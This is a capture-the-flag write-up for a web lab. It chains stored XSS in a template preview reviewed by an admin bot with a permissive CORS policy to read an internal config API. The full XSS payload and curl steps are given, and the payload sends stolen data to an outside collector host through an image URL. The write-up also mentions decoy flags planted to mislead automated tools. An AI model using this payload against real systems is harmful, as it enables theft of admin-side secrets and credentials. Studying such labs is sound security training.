Lab 223 — RelayDock — CORS Misconfiguration in Internal Config API
Lab 223 — RelayDock — CORS Misconfiguration in Internal Config API
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: admin_bot_trigger_via_template_review, base64_exfiltration_via_image_src_path, cors_misconfiguration_exploitation, decoy_flag_avoidance, internal_service_discovery_via_settings_page, stored_xss_via_unsanitized_html_template
Summary
Task: Webhook management platform with HTML template preview system reviewed by admin bot; internal Config Service on port 3001 with misconfigured CORS. Solution: Stored XSS in template preview fetches internal config API via CORS, base64-encodes response, exfiltrates to Interaction Server via Image src URL path; flag found in secrets.platform_master_key.
Lab 223 — RelayDock — CORS Misconfiguration in Internal Config API — HackAdvisor
Description
You are testing RelayDock, a webhook management and notification routing platform used by development teams. The application allows users to configure webhook endpoints, create HTML notification templates, and monitor delivery logs. RelayDock includes a template preview system where team members can design rich HTML notification templates and submit them for administrator review before deployment. The admin reviews submitted templates by previewing them directly in the browser. Your goal is to find and exfiltrate a secret flag hidden within the platform's internal infrastructure.
Credentials: user@test.com / password123
English summary: A webhook management platform (Express.js behind nginx) with an HTML template system. Templates can be previewed and submitted for admin review. An admin bot visits the preview URL to review templates. An internal Config Service runs on port 3001 with a misconfigured CORS policy. The goal is to exfiltrate a secret flag from the internal infrastructure.
Analysis
Application Architecture
- Stack: Express.js behind nginx 1.25.5 reverse proxy
- Internal service: Config Service on port 3001 (leaked in Settings page)
- Admin bot: Reviews submitted templates by visiting
/templates/preview/{id} - Security: No CSP headers, template preview renders raw HTML without sanitization
- Credentials: user@test.com / password123
- Decoy traps:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments and hidden divs on every page — prompt injection traps for automated tools
Key endpoints:
| Endpoint | Purpose |
|---|---|
/dashboard | Main dashboard |
/webhooks | Webhook endpoint management |
/templates | HTML notification template list |
/templates/preview/{id} | Renders raw HTML — stored XSS vector |
/delivery-logs | Delivery monitoring |
/settings | Settings page — leaks Config Service :3001 |
POST /api/templates | Create a new template |
POST /api/templates/{id}/submit | Submit template for admin review |
http://localhost:3001/api/config | Internal Config API — CORS misconfigured |
| |
Information Disclosure
The Settings page (/settings) displays system status information including "Config Service :3001", revealing the existence and port of an internal configuration API. This service is not directly accessible through nginx (all direct requests to /api/config, /api/admin, /internal return 404), but it is reachable from the browser context when the admin bot visits a page on the same host.
Template Preview — Stored XSS
The template preview endpoint at /templates/preview/{id} renders the template's HTML content directly in the browser without any sanitization. This means any JavaScript in the template body executes in the admin bot's browser context when the admin visits the preview URL to review a submitted template.
CORS Misconfiguration
The internal Config Service on port 3001 has a misconfigured CORS policy that allows cross-origin reads from any origin. This means JavaScript running on the main application (port 80/443) can use fetch() to read responses from http://localhost:3001/api/config — the browser's same-origin policy would normally block this, but the permissive Access-Control-Allow-Origin header on the config API allows it.
Exfiltration Constraints
The Interaction Server only logs the URL path — query parameters are not captured in the request log. Initial XSS payloads that exfiltrated data via ?data=... query parameters failed silently. The solution was to encode data directly in the URL path segments.
Solution
Attack Chain
- Discover internal service: Settings page reveals Config Service on port 3001
- Create malicious template: HTML template containing JavaScript that fetches the internal config API
- Exploit CORS:
fetch("http://localhost:3001/api/config")succeeds because CORS allows any origin - Exfiltrate via URL path: Base64-encode the response and embed it in the URL path of an Image src pointing to the Interaction Server
- Trigger via admin bot: Submit the template for review — admin bot visits the preview URL and executes the JavaScript
- Decode the flag: Read the base64 data from Interaction Server logs and decode
XSS Payload (Final Working Version)
html read-only • copy allowed<html><body><h1>Status Report</h1><script> async function ex(){ var urls=[ "http://localhost:3001", "http://localhost:3001/config", "http://localhost:3001/api/config", "http://localhost:3001/api/secrets", "http://localhost:3001/flag", "http://localhost:3001/api/flag", "http://127.0.0.1:3001", "http://127.0.0.1:3001/config", "http://127.0.0.1:3001/api/config", "http://127.0.0.1:3001/secrets" ]; for(var i=0;i<urls.length;i++){ try{ var r=await fetch(urls[i]); var t=await r.text(); // URL-safe base64: replace +, /, = to avoid URL issues var encoded=btoa(t).replace(/\+/g,"-").replace(/\//g,"_").replace(/=/g,""); // Exfiltrate via URL path (query params not logged by Interaction Server) new Image().src="http://interact/{UUID}/data/"+i+"/"+encoded; }catch(e){ new Image().src="http://interact/{UUID}/err/"+i+"/"+encodeURIComponent(e.message).substring(0,100); } } } ex(); </script></body></html>
Exploitation Steps
bash read-only • copy allowed# Step 1: Login and get session cookie curl -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" # Step 2: Create template with XSS payload curl -b cookies.txt -X POST "$TARGET/api/templates" \ -H "Content-Type: application/json" \ -d '{"name":"Status Report","content":"<html><body><h1>Status Report</h1><script>async function ex(){var urls=[\"http://localhost:3001\",\"http://localhost:3001/config\",\"http://localhost:3001/api/config\",\"http://localhost:3001/api/secrets\",\"http://localhost:3001/flag\",\"http://localhost:3001/api/flag\"];for(var i=0;i<urls.length;i++){try{var r=await fetch(urls[i]);var t=await r.text();var encoded=btoa(t).replace(/\\+/g,\"-\").replace(/\\//g,\"_\").replace(/=/g,\"\");new Image().src=\"http://interact/UUID/data/\"+i+\"/\"+encoded;}catch(e){new Image().src=\"http://interact/UUID/err/\"+i+\"/\"+encodeURIComponent(e.message).substring(0,100);}}}ex();</script></body></html>"}' # Returns template ID (e.g., 9) # Step 3: Submit template for admin review curl -b cookies.txt -X POST "$TARGET/api/templates/9/submit" # Step 4: Check Interaction Server logs for exfiltrated data # The admin bot visits /templates/preview/9, JS executes, fetches config API, # base64-encodes response, sends to Interaction Server via Image src # Step 5: Decode the base64 from the URL path in Interaction Server logs echo "eyJwbGF0Zm9ybSI6ey..." | python3 -c " import sys, base64 data = sys.stdin.read().strip().replace('-','+').replace('_','/') # Add padding data += '=' * (4 - len(data) % 4) if len(data) % 4 else '' print(base64.b64decode(data).decode()) "
Exfiltrated Config
The decoded response from http://localhost:3001/api/config contained the full platform configuration:
json read-only • copy allowed{ "platform": { "name": "RelayDock", "version": "2.4.1", "environment": "production" }, "database": { "host": "10.0.3.12", "port": 5432, "name": "relaydock_prod", "user": "rd_app_svc", "password": "pgK$9mXv2!rLpQ4w" }, "redis": { "host": "10.0.3.15", "port": 6379, "password": "rds_8kNpW#2xTy" }, "secrets": { "jwt_signing_key": "sk-jwt-rd-4f8a2c1e9b7d3056e8a1c4f7b2d9e6a3", "webhook_hmac_secret": "whsec_7Kx9mPqR2vL5nB8wY3jF6hD4tA1cE0gS", "platform_master_key": "FLAG{REDACTED}", "encryption_key": "enc-aes256-rd-9c4e7a2f1b8d5063" }, "internal_services": { "notification_engine": "http://10.0.3.20:4000", "delivery_worker": "http://10.0.3.21:4001", "analytics": "http://10.0.3.22:4002" }, "smtp": { "host": "smtp.relaydock-internal.net", "port": 587, "user": "noreply@relaydock.io", "password": "smtp_Rv7$kLm2Px" } }
Flag found in secrets.platform_master_key.
Failed Approaches
| Attempt | Result |
|---|---|
Direct access to /api/config, /api/admin, /internal | 404 — nginx blocks direct access to internal service |
robots.txt, .env, .git | All 404 |
XSS exfiltration via query parameters (?data=...) | Interaction Server logs only capture URL path, not query strings |
| First two XSS templates (IDs 7, 8) | Data sent via query params — invisible in Interaction Server logs |
| Third XSS template (ID 9) with path-based exfiltration | Success — base64 data visible in URL path |
| |